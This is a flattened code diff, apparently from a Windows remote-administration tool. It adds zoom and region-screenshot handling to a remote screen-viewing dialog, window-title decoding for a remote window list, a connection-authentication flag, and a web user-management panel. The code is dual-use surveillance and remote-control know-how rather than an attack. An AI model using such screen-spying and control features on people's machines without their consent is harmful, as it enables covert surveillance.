CRect rcSelect;
rcSelect.left = min(m_ptZoomStart.x, point.x);
rcSelect.top = min(m_ptZoomStart.y, point.y);
rcSelect.right = max(m_ptZoomStart.x, point.x);
rcSelect.bottom = max(m_ptZoomStart.y, point.y);
// 框选区域太小时视为点击,如果已放大则还原
if (rcSelect.Width() < 20 || rcSelect.Height() < 20) {
if (m_bZoomedIn) {
ResetZoom();
}
return;
}
// 将屏幕坐标转换为原图坐标
if (!ScreenRectToImageRect(rcSelect, m_rcZoomSrc)) {
return;
}
// 进入放大状态
m_bZoomedIn = true;
Invalidate();
return;
}
if (m_bZoomDragging) {
// 完成拖拽
ReleaseCapture();
m_bZoomDragging = false;
// 检查是否为点击(几乎没有移动)
int dx = abs(point.x - m_ptZoomDragStart.x);
int dy = abs(point.y - m_ptZoomDragStart.y);
if (dx < 5 && dy < 5) {
// 点击还原
ResetZoom();
}
return;
}
}
__super::OnLButtonUp(nFlags, point); __super::OnLButtonUp(nFlags, point);
} }
void CScreenSpyDlg::OnRButtonDown(UINT nFlags, CPoint point)
{
// 非控制模式下:右键框选 → 截图保存。控制模式下右键由 PreTranslateMessage 转发给客户端。
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
// 与左键互斥:左键正在框选/拖拽时不接管右键,避免冲突
if (m_bSelectingZoom || m_bZoomDragging) {
return;
}
m_bSelectingShot = true;
m_ptShotStart = point;
m_ptShotCurrent = point;
SetCapture();
return;
}
__super::OnRButtonDown(nFlags, point);
}
void CScreenSpyDlg::OnRButtonUp(UINT nFlags, CPoint point)
{
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full && m_bSelectingShot) {
ReleaseCapture();
m_bSelectingShot = false;
CRect rcSelect;
rcSelect.left = min(m_ptShotStart.x, point.x);
rcSelect.top = min(m_ptShotStart.y, point.y);
rcSelect.right = max(m_ptShotStart.x, point.x);
rcSelect.bottom = max(m_ptShotStart.y, point.y);
// 太小视为误触(与左键放大同阈值)
if (rcSelect.Width() < 20 || rcSelect.Height() < 20) {
Invalidate(FALSE);
return;
}
CRect rcImage;
if (ScreenRectToImageRect(rcSelect, rcImage) &&
rcImage.Width() > 0 && rcImage.Height() > 0)
{
SaveRegionScreenshot(rcImage);
}
Invalidate(FALSE); // 清掉绿色选框
return;
}
__super::OnRButtonUp(nFlags, point);
}
// 屏幕(窗口)选框 → 原图坐标,考虑放大状态、自适应、滚动
bool CScreenSpyDlg::ScreenRectToImageRect(const CRect& rcScreen, CRect& rcImage)
{
if (!m_BitmapInfor_Full) return false;
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
if (srcW <= 0 || srcH <= 0) return false;
if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
// 放大状态:屏幕坐标 → 当前可视的子区域内的原图坐标
int dstW = m_CRect.Width();
int dstH = m_CRect.Height();
if (dstW <= 0 || dstH <= 0) return false;
double scaleX = (double)m_rcZoomSrc.Width() / dstW;
double scaleY = (double)m_rcZoomSrc.Height() / dstH;
rcImage.left = (int)(m_rcZoomSrc.left + rcScreen.left * scaleX);
rcImage.top = (int)(m_rcZoomSrc.top + rcScreen.top * scaleY);
rcImage.right = (int)(m_rcZoomSrc.left + rcScreen.right * scaleX);
rcImage.bottom = (int)(m_rcZoomSrc.top + rcScreen.bottom * scaleY);
} else if (m_bAdaptiveSize) {
rcImage.left = (int)(rcScreen.left * m_wZoom);
rcImage.top = (int)(rcScreen.top * m_hZoom);
rcImage.right = (int)(rcScreen.right * m_wZoom);
rcImage.bottom = (int)(rcScreen.bottom * m_hZoom);
} else {
rcImage.left = rcScreen.left + m_ulHScrollPos;
rcImage.top = rcScreen.top + m_ulVScrollPos;
rcImage.right = rcScreen.right + m_ulHScrollPos;
rcImage.bottom = rcScreen.bottom + m_ulVScrollPos;
}
// 限制在原图范围内
rcImage.left = max(0L, min(rcImage.left, (LONG)srcW));
rcImage.top = max(0L, min(rcImage.top, (LONG)srcH));
rcImage.right = max(0L, min(rcImage.right, (LONG)srcW));
rcImage.bottom = max(0L, min(rcImage.bottom, (LONG)srcH));
return true;
}
// 把原图中 [rcImage] 区域裁出来,写成独立 BMP24bpp 或 32bpp 由源图决定)
void CScreenSpyDlg::SaveRegionScreenshot(const CRect& rcImage)
{
if (!m_BitmapInfor_Full || !m_BitmapData_Full) return;
if (rcImage.Width() <= 0 || rcImage.Height() <= 0) return;
auto path = GetScreenShotPath(this, m_IPAddress, _TR("位图文件(*.bmp)|*.bmp|"), "bmp");
if (path.empty()) return;
// 源 DIB 是 BGR 24bpp 或 BGRA 32bppbottom-upbiHeight > 0
const BITMAPINFOHEADER& srcHdr = m_BitmapInfor_Full->bmiHeader;
int bpp = srcHdr.biBitCount;
if (bpp != 24 && bpp != 32) return; // 仅支持当前实际使用的两种位深
int srcW = srcHdr.biWidth;
int srcH = srcHdr.biHeight;
int srcStride = ((srcW * bpp + 31) / 32) * 4;
int dstW = rcImage.Width();
int dstH = rcImage.Height();
int dstStride = ((dstW * bpp + 31) / 32) * 4;
int dstSize = dstStride * dstH;
std::vector<BYTE> dstPixels(dstSize, 0);
const BYTE* srcBase = (const BYTE*)m_BitmapData_Full;
// bottom-up原图第 y 行(从顶起算)位于 srcBase + (srcH - 1 - y) * srcStride
int byteX = rcImage.left * (bpp / 8);
int copyBytes = dstW * (bpp / 8);
for (int y = 0; y < dstH; ++y) {
int srcRowFromTop = rcImage.top + y;
int srcRowOffset = (srcH - 1 - srcRowFromTop) * srcStride + byteX;
int dstRowOffset = (dstH - 1 - y) * dstStride;
memcpy(&dstPixels[dstRowOffset], &srcBase[srcRowOffset], copyBytes);
}
// 拼装 BITMAPINFO裁剪后只需要 BITMAPINFOHEADER24/32bpp 不需要调色板)
BITMAPINFO dstBmi = {};
dstBmi.bmiHeader = srcHdr;
dstBmi.bmiHeader.biWidth = dstW;
dstBmi.bmiHeader.biHeight = dstH;
dstBmi.bmiHeader.biSizeImage = dstSize;
dstBmi.bmiHeader.biCompression = BI_RGB;
if (WriteBitmap(&dstBmi, dstPixels.data(), path)) {
m_strSaveNotice = path;
m_nSaveNoticeTime = GetTickCount64();
}
}
BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt) BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt)
{ {
return __super::OnMouseWheel(nFlags, zDelta, pt); // Convert screen coordinates to client coordinates
ScreenToClient(&pt);
// Build MSG structure for SendScaledMouseMessage
MSG msg = {};
msg.hwnd = m_hWnd;
msg.message = WM_MOUSEWHEEL;
msg.wParam = MAKEWPARAM(nFlags, zDelta);
msg.lParam = MAKELPARAM(pt.x, pt.y);
msg.time = GetTickCount();
msg.pt = { pt.x, pt.y };
SendScaledMouseMessage(&msg, true);
return TRUE; // Message handled, don't pass to parent
} }
void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point) void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
{ {
// 处理放大功能的鼠标移动
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
if (m_bSelectingZoom) {
// 框选中:更新当前点并重绘选择框
m_ptZoomCurrent = point;
Invalidate(FALSE); // FALSE表示不擦除背景减少闪烁
return;
}
if (m_bSelectingShot) {
m_ptShotCurrent = point;
Invalidate(FALSE);
return;
}
if (m_bZoomDragging) {
// 拖拽平移:计算偏移量并移动放大区域
int dx = point.x - m_ptZoomDragLast.x;
int dy = point.y - m_ptZoomDragLast.y;
m_ptZoomDragLast = point; // 更新上一点保持m_ptZoomDragStart不变用于点击检测
// 计算缩放比例(添加除零保护)
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
int dstW = m_CRect.Width();
int dstH = m_CRect.Height();
int zoomW = m_rcZoomSrc.Width();
int zoomH = m_rcZoomSrc.Height();
if (dstW <= 0 || dstH <= 0 || zoomW <= 0 || zoomH <= 0) {
return; // 防止除零
}
double scaleX = (double)zoomW / dstW;
double scaleY = (double)zoomH / dstH;
// 将屏幕偏移转换为原图偏移(方向相反)
int imgDx = (int)(-dx * scaleX);
int imgDy = (int)(-dy * scaleY);
// 移动放大区域
m_rcZoomSrc.OffsetRect(imgDx, imgDy);
// 限制在原图范围内
if (m_rcZoomSrc.left < 0) {
m_rcZoomSrc.right -= m_rcZoomSrc.left;
m_rcZoomSrc.left = 0;
}
if (m_rcZoomSrc.top < 0) {
m_rcZoomSrc.bottom -= m_rcZoomSrc.top;
m_rcZoomSrc.top = 0;
}
if (m_rcZoomSrc.right > srcW) {
m_rcZoomSrc.left -= (m_rcZoomSrc.right - srcW);
m_rcZoomSrc.right = srcW;
}
if (m_rcZoomSrc.bottom > srcH) {
m_rcZoomSrc.top -= (m_rcZoomSrc.bottom - srcH);
m_rcZoomSrc.bottom = srcH;
}
Invalidate(FALSE);
return;
}
}
if (m_Settings.RemoteCursor) { if (m_Settings.RemoteCursor) {
if (m_pToolbar != NULL && ::IsWindow(m_pToolbar->m_hWnd) && m_pToolbar->IsWindowVisible()) { if (m_pToolbar != NULL && ::IsWindow(m_pToolbar->m_hWnd) && m_pToolbar->IsWindowVisible()) {
CRect rcToolbar; CRect rcToolbar;
@@ -2770,9 +3205,36 @@ void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized)
void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl) void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
{ {
m_bIsCtrl = ctrl; m_bIsCtrl = ctrl;
m_bIsTraceCursor = !m_bIsCtrl;
// 进入控制模式时重置放大状态 + 中止任何正在进行的右键截图框选
if (m_bIsCtrl) {
if (m_bZoomedIn) ResetZoom();
if (m_bSelectingShot) {
m_bSelectingShot = false;
if (GetCapture() == this) ReleaseCapture();
Invalidate(FALSE);
}
}
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
// 控制模式:禁用本地 IME查看模式启用本地 IME // 控制模式:禁用本地 IME查看模式启用本地 IME
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC); ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
CMenu* SysMenu = GetSystemMenu(FALSE);
if (SysMenu) {
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
}
}
void CScreenSpyDlg::OnCaptureChanged(CWnd* pWnd)
{
// 捕获丢失时重置框选/拖拽状态
if (m_bSelectingZoom || m_bZoomDragging || m_bSelectingShot) {
m_bSelectingZoom = false;
m_bZoomDragging = false;
m_bSelectingShot = false;
Invalidate();
}
__super::OnCaptureChanged(pWnd);
} }
void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo) void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo)

View File

@@ -1,6 +1,7 @@
#pragma once #pragma once
#include <imm.h> #include <imm.h>
#include <map> #include <map>
#include <atomic>
#include "IOCPServer.h" #include "IOCPServer.h"
#include "..\..\client\CursorInfo.h" #include "..\..\client\CursorInfo.h"
#include "VideoDlg.h" #include "VideoDlg.h"
@@ -153,6 +154,10 @@ public:
return TRUE; return TRUE;
} }
// Check if this dialog was created by Web request (shared by Web users)
bool IsWebSession() const { return m_bIsWebSession.load(); }
void SetWebSession(bool isWeb) { m_bIsWebSession.store(isWeb); }
VOID SendNext(void); VOID SendNext(void);
VOID OnReceiveComplete(); VOID OnReceiveComplete();
HDC m_hFullDC; HDC m_hFullDC;
@@ -186,13 +191,15 @@ public:
int m_FrameID; int m_FrameID;
HIMC m_hOldIMC = NULL; // 保存原始 IME 上下文,控制模式切换时使用 HIMC m_hOldIMC = NULL; // 保存原始 IME 上下文,控制模式切换时使用
bool m_bHide = false; bool m_bHide = false;
std::atomic<bool> m_bIsWebSession{false}; // True if this dialog was created by Web request (atomic for thread safety)
std::string m_strSaveNotice; // 截图保存路径提示 std::string m_strSaveNotice; // 截图保存路径提示
ULONGLONG m_nSaveNoticeTime = 0; // 截图提示开始时间 ULONGLONG m_nSaveNoticeTime = 0; // 截图提示开始时间
BOOL m_bUsingFRP = FALSE; BOOL m_bUsingFRP = FALSE;
// 文件接收进度对话框(用于 Linux Ctrl+C -> 服务端 Ctrl+V // 文件接收进度对话框(用于 Linux Ctrl+C -> 服务端 Ctrl+V
// 按 transferID 管理多个并发传输 // 按 transferID 管理多个并发传输
std::map<uint64_t, class CDlgFileSend*> m_FileRecvDlgs; // 存储 {HWND, 指针} 对HWND 用于安全检查(指针可能变成野指针)
std::map<uint64_t, std::pair<HWND, class CDlgFileSend*>> m_FileRecvDlgs;
void SaveSnapshot(void); void SaveSnapshot(void);
// 对话框数据 // 对话框数据
@@ -216,6 +223,27 @@ public:
double m_wZoom=1, m_hZoom=1; double m_wZoom=1, m_hZoom=1;
bool m_bMouseTracking = false; bool m_bMouseTracking = false;
// ========== 局部放大功能 ==========
bool m_bZoomedIn = false; // 是否处于放大状态
CRect m_rcZoomSrc; // 放大区域(原图坐标)
bool m_bSelectingZoom = false; // 是否正在框选
CPoint m_ptZoomStart; // 框选起点(屏幕坐标)
CPoint m_ptZoomCurrent; // 框选当前点(屏幕坐标)
bool m_bZoomDragging = false; // 是否正在拖拽平移
CPoint m_ptZoomDragStart; // 拖拽起点(用于点击检测)
CPoint m_ptZoomDragLast; // 拖拽上一点(用于增量计算)
// ========== 区域截图(右键框选) ==========
bool m_bSelectingShot = false; // 是否正在右键框选截图
CPoint m_ptShotStart; // 右键框选起点(屏幕坐标)
CPoint m_ptShotCurrent; // 右键框选当前点(屏幕坐标)
void ResetZoom(); // 重置放大状态
CPoint ScreenToImage(CPoint pt); // 屏幕坐标转原图坐标
CPoint ImageToScreen(CPoint pt); // 原图坐标转屏幕坐标
bool ScreenRectToImageRect(const CRect& rcScreen, CRect& rcImage); // 选框坐标→原图坐标
void SaveRegionScreenshot(const CRect& rcImage); // 保存裁剪区域为 BMP
CString m_aviFile; CString m_aviFile;
CBmpToAvi m_aviStream; CBmpToAvi m_aviStream;
@@ -291,10 +319,13 @@ public:
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar); afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
afx_msg void OnLButtonDown(UINT nFlags, CPoint point); afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point); afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg void OnRButtonDown(UINT nFlags, CPoint point);
afx_msg void OnRButtonUp(UINT nFlags, CPoint point);
afx_msg BOOL OnMouseWheel(UINT nFlags, short zDelta, CPoint pt); afx_msg BOOL OnMouseWheel(UINT nFlags, short zDelta, CPoint pt);
afx_msg void OnMouseMove(UINT nFlags, CPoint point); afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnMouseLeave(); afx_msg void OnMouseLeave();
afx_msg void OnKillFocus(CWnd* pNewWnd); afx_msg void OnKillFocus(CWnd* pNewWnd);
afx_msg void OnCaptureChanged(CWnd* pWnd);
afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized); afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);
afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam);
@@ -325,6 +356,7 @@ public:
virtual BOOL OnInitDialog(); virtual BOOL OnInitDialog();
afx_msg void OnClose(); afx_msg void OnClose();
afx_msg void OnPaint(); afx_msg void OnPaint();
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message); BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
virtual BOOL PreTranslateMessage(MSG* pMsg); virtual BOOL PreTranslateMessage(MSG* pMsg);

View File

@@ -378,6 +378,11 @@ public:
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数 std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除 std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
std::atomic<bool> m_bAuthenticated{false};
// 预分配的解压缩缓冲区,避免频繁内存分配 // 预分配的解压缩缓冲区,避免频繁内存分配
PBYTE DecompressBuffer = nullptr; PBYTE DecompressBuffer = nullptr;
ULONG DecompressBufferSize = 0; ULONG DecompressBufferSize = 0;
@@ -510,7 +515,11 @@ public:
// 注意到达这里时RemoveStaleContext 应该已经等待 IoRefCount==0 // 注意到达这里时RemoveStaleContext 应该已经等待 IoRefCount==0
IsRemoved.store(false, std::memory_order_release); IsRemoved.store(false, std::memory_order_release);
IoRefCount.store(0, std::memory_order_release); IoRefCount.store(0, std::memory_order_release);
// 复用对象池时清空校验状态
m_bAuthenticated.store(false, std::memory_order_release);
} }
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
uint64_t GetAliveTime()const uint64_t GetAliveTime()const
{ {
return time(0) - OnlineTime; return time(0) - OnlineTime;

View File

@@ -17,7 +17,7 @@ CSettingDlg::CSettingDlg(CMy2015RemoteDlg* pParent)
, m_nListenPort("6543") , m_nListenPort("6543")
, m_nMax_Connect(0) , m_nMax_Connect(0)
, m_sScreenCapture(_T("GDI")) , m_sScreenCapture(_T("GDI"))
, m_sScreenCompress(_T("RGBA->RGB565")) , m_sScreenCompress(_T("算法自适应"))
, m_nReportInterval(5) , m_nReportInterval(5)
, m_sSoftwareDetect(_T("摄像头")) , m_sSoftwareDetect(_T("摄像头"))
, m_sPublicIP(_T("")) , m_sPublicIP(_T(""))
@@ -154,12 +154,15 @@ BOOL CSettingDlg::OnInitDialog()
int DXGI = THIS_CFG.GetInt("settings", "DXGI"); int DXGI = THIS_CFG.GetInt("settings", "DXGI");
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str(); CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
m_nListenPort = nPort.c_str(); m_nListenPort = nPort.c_str();
int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString()); int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString());
switch (n) { switch (n) {
case ALGORITHM_NUL:
m_sScreenCompress = _L(_T("算法自适应"));
break;
case ALGORITHM_GRAY: case ALGORITHM_GRAY:
m_sScreenCompress = _L(_T("灰度图像传输")); m_sScreenCompress = _L(_T("灰度图像传输"));
break; break;
@@ -175,10 +178,11 @@ BOOL CSettingDlg::OnInitDialog()
default: default:
break; break;
} }
m_ComboScreenCompress.InsertStringL(ALGORITHM_GRAY, "灰度图像传输"); m_ComboScreenCompress.InsertStringL(1+ALGORITHM_NUL, "算法自适应");
m_ComboScreenCompress.InsertStringL(ALGORITHM_DIFF, "屏幕差异算法"); m_ComboScreenCompress.InsertStringL(1+ALGORITHM_GRAY, "灰度图像传输");
m_ComboScreenCompress.InsertStringL(ALGORITHM_H264, "H264压缩算法"); m_ComboScreenCompress.InsertStringL(1+ALGORITHM_DIFF, "屏幕差异算法");
m_ComboScreenCompress.InsertStringL(ALGORITHM_RGB565, "RGBA->RGB565"); m_ComboScreenCompress.InsertStringL(1+ALGORITHM_H264, "H264压缩算法");
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_RGB565, "RGBA->RGB565");
m_ComboScreenCapture.InsertStringL(0, "GDI"); m_ComboScreenCapture.InsertStringL(0, "GDI");
m_ComboScreenCapture.InsertStringL(1, "DXGI"); m_ComboScreenCapture.InsertStringL(1, "DXGI");
@@ -245,7 +249,7 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
int n = m_ComboScreenCapture.GetCurSel(); int n = m_ComboScreenCapture.GetCurSel();
THIS_CFG.SetInt("settings", "DXGI", n); THIS_CFG.SetInt("settings", "DXGI", n);
n = m_ComboScreenCompress.GetCurSel(); n = m_ComboScreenCompress.GetCurSel() - 1;
THIS_CFG.SetInt("settings", "ScreenCompress", n); THIS_CFG.SetInt("settings", "ScreenCompress", n);
THIS_CFG.SetInt("settings", "ReportInterval", m_nReportInterval); THIS_CFG.SetInt("settings", "ReportInterval", m_nReportInterval);

View File

@@ -3,6 +3,7 @@
#include "stdafx.h" #include "stdafx.h"
#include "2015Remote.h" #include "2015Remote.h"
#include "2015RemoteDlg.h" // GetClientEncoding helper
#include "SystemDlg.h" #include "SystemDlg.h"
#include "afxdialogex.h" #include "afxdialogex.h"
@@ -85,6 +86,8 @@ BOOL CSystemDlg::OnInitDialog()
m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420); m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420);
m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200); m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200);
m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100); m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100);
// 工程是 MBCS但下面"窗口名称"列里的标题需要原样显示客户端 UTF-8 内容,
// 直接用 LVM_SETITEMTEXTW 写宽字符串(无须依赖控件 Unicode 标志)。
ShowWindowsList(); ShowWindowsList();
} }
@@ -170,6 +173,11 @@ void CSystemDlg::ShowWindowsList(void)
char *szTitle = NULL; char *szTitle = NULL;
bool isDel=false; bool isDel=false;
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
// 注意m_ContextObject 是 WSLIST 子连接,其自身 CAPABILITIES 为空;
// helper 内部通过 peer IP 查主连接获取真正的能力位。
UINT cp = GetClientEncoding(m_ContextObject);
DeleteAllItems(); DeleteAllItems();
CString str; CString str;
int i ; int i ;
@@ -181,10 +189,28 @@ void CSystemDlg::ShowWindowsList(void)
str.FormatL("%5u", *lpPID); str.FormatL("%5u", *lpPID);
CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A"; CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
m_ControlList.InsertItem(i, str); // 句柄 m_ControlList.InsertItem(i, str); // 句柄
m_ControlList.SetItemText(i, 1, attrs.szTitle); // 标题
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 // 按客户端声明的编码解码到宽字符,用 LVM_SETITEMTEXTW 直接写入,
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID // 绕开 ANSI -> CP_ACP 回转,即使在德语等非中文 ACP 服务端上中文窗口名也能正常显示。
// ItemData 为窗口句柄 std::wstring wTitle;
if (attrs.szTitle[0]) {
int wlen = MultiByteToWideChar(cp, 0, attrs.szTitle, -1, NULL, 0);
if (wlen > 0) {
wTitle.resize(wlen - 1);
MultiByteToWideChar(cp, 0, attrs.szTitle, -1, &wTitle[0], wlen);
}
}
LVITEMW lvItemW = {};
lvItemW.mask = LVIF_TEXT;
lvItemW.iItem = i;
lvItemW.iSubItem = 1;
lvItemW.pszText = wTitle.empty() ? const_cast<LPWSTR>(L"") : &wTitle[0];
::SendMessageW(m_ControlList.GetSafeHwnd(), LVM_SETITEMTEXTW,
(WPARAM)i, (LPARAM)&lvItemW);
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 (ASCII)
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID (ASCII)
// ItemData 为窗口句柄Data[1] 保留原始 UTF-8 字节供排序/右键菜单使用
auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} }; auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d) m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d)
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1; dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;

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@@ -40,6 +40,9 @@ inline PFN_IsTerminalValid pfnIsTerminalValid = nullptr;
inline PFN_GetTerminalVersion pfnGetTerminalVersion = nullptr; inline PFN_GetTerminalVersion pfnGetTerminalVersion = nullptr;
inline HMODULE g_hTerminalModule = nullptr; inline HMODULE g_hTerminalModule = nullptr;
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName);
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset);
// Load the TerminalModule DLL // Load the TerminalModule DLL
inline bool LoadTerminalModule() inline bool LoadTerminalModule()
{ {
@@ -78,6 +81,17 @@ inline bool LoadTerminalModule()
} }
if (!g_hTerminalModule) { if (!g_hTerminalModule) {
DWORD fileSize = 0;
BYTE* dllData = ReadResource(IDR_MODERN_TERMINAL, fileSize, NULL);
if (!dllData)
return false;
char fullPath[MAX_PATH];
strcpy_s(fullPath, exePath);
strcat_s(fullPath, "TerminalModule_x64.dll");
WriteBinaryToFile(fullPath, (char*)dllData, fileSize, 0);
delete[] dllData;
g_hTerminalModule = LoadLibraryA(fullPath);
if (!g_hTerminalModule)
return false; return false;
} }
@@ -122,6 +136,35 @@ inline bool IsTerminalModuleLoaded()
return g_hTerminalModule != nullptr; return g_hTerminalModule != nullptr;
} }
// Check if current process is running as LocalSystem (S-1-5-18).
// 用途WebView2 / msedgewebview2.exe 子进程拒绝在 SYSTEM token 下渲染Microsoft
// 官方限制),此时 Modern Terminal 会打开但页面空白,需要回退到经典终端。
// 结果缓存,因为进程 token 在生命周期内不会变。
inline bool IsRunningAsSystem()
{
static int cached = -1;
if (cached >= 0) return cached == 1;
bool isSystem = false;
HANDLE hToken = nullptr;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
BYTE buf[256] = {};
DWORD len = 0;
if (GetTokenInformation(hToken, TokenUser, buf, sizeof(buf), &len)) {
SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY;
PSID pSystemSid = nullptr;
if (AllocateAndInitializeSid(&ntAuth, 1, SECURITY_LOCAL_SYSTEM_RID,
0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {
isSystem = EqualSid(((TOKEN_USER*)buf)->User.Sid, pSystemSid) != FALSE;
FreeSid(pSystemSid);
}
}
CloseHandle(hToken);
}
cached = isSystem ? 1 : 0;
return isSystem;
}
// Check if WebView2 Runtime is installed (cached) // Check if WebView2 Runtime is installed (cached)
inline bool IsWebView2Available() inline bool IsWebView2Available()
{ {

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@@ -44,7 +44,7 @@
// 程序版本号 [建议格式: X.Y.Z] // 程序版本号 [建议格式: X.Y.Z]
// 影响:关于对话框、标题栏 // 影响:关于对话框、标题栏
#define BRAND_VERSION "1.3.2" #define BRAND_VERSION "1.3.3"
// 启动画面名称 [建议大写,更有 Logo 感] // 启动画面名称 [建议大写,更有 Logo 感]
// 影响:启动画面 Logo 文字(大号艺术字体渲染) // 影响:启动画面 Logo 文字(大号艺术字体渲染)

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@@ -997,10 +997,14 @@ inline std::string GetWebPageHTML() {
<h4>Create New User</h4> <h4>Create New User</h4>
<input type="text" id="new-username" placeholder="Username" autocomplete="off"> <input type="text" id="new-username" placeholder="Username" autocomplete="off">
<input type="password" id="new-password" placeholder="Password" autocomplete="new-password"> <input type="password" id="new-password" placeholder="Password" autocomplete="new-password">
<select id="new-role"> <select id="new-role" onchange="onRoleChange()">
<option value="viewer">Viewer (read-only)</option> <option value="viewer">Viewer (read-only)</option>
<option value="admin">Admin (full access)</option> <option value="admin">Admin (full access)</option>
</select> </select>
<div class="groups-section" id="groups-section">
<label style="font-size:13px;color:#aaa;display:block;margin:8px 0 4px;">Allowed Groups:</label>
<div id="groups-checkboxes" style="max-height:120px;overflow-y:auto;background:rgba(0,0,0,0.2);border-radius:6px;padding:6px 8px;"></div>
</div>
<button onclick="createUser()">Create User</button> <button onclick="createUser()">Create User</button>
</div> </div>
<div class="user-list"> <div class="user-list">
@@ -1286,6 +1290,11 @@ inline std::string GetWebPageHTML() {
renderUsersList(msg.users); renderUsersList(msg.users);
} }
break; break;
case 'groups':
if (msg.ok) {
renderGroupsCheckboxes(msg.groups);
}
break;
} }
} }
)HTML"; )HTML";
@@ -1661,7 +1670,35 @@ inline std::string GetWebPageHTML() {
function openUsersModal() { function openUsersModal() {
document.getElementById('users-modal').classList.add('active'); document.getElementById('users-modal').classList.add('active');
document.getElementById('user-msg').innerHTML = ''; document.getElementById('user-msg').innerHTML = '';
document.getElementById('new-role').value = 'viewer'; // Reset to default
onRoleChange(); // Update groups section visibility
listUsers(); listUsers();
getGroups();
}
function getGroups() {
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'get_groups', token }));
}
}
function renderGroupsCheckboxes(groups) {
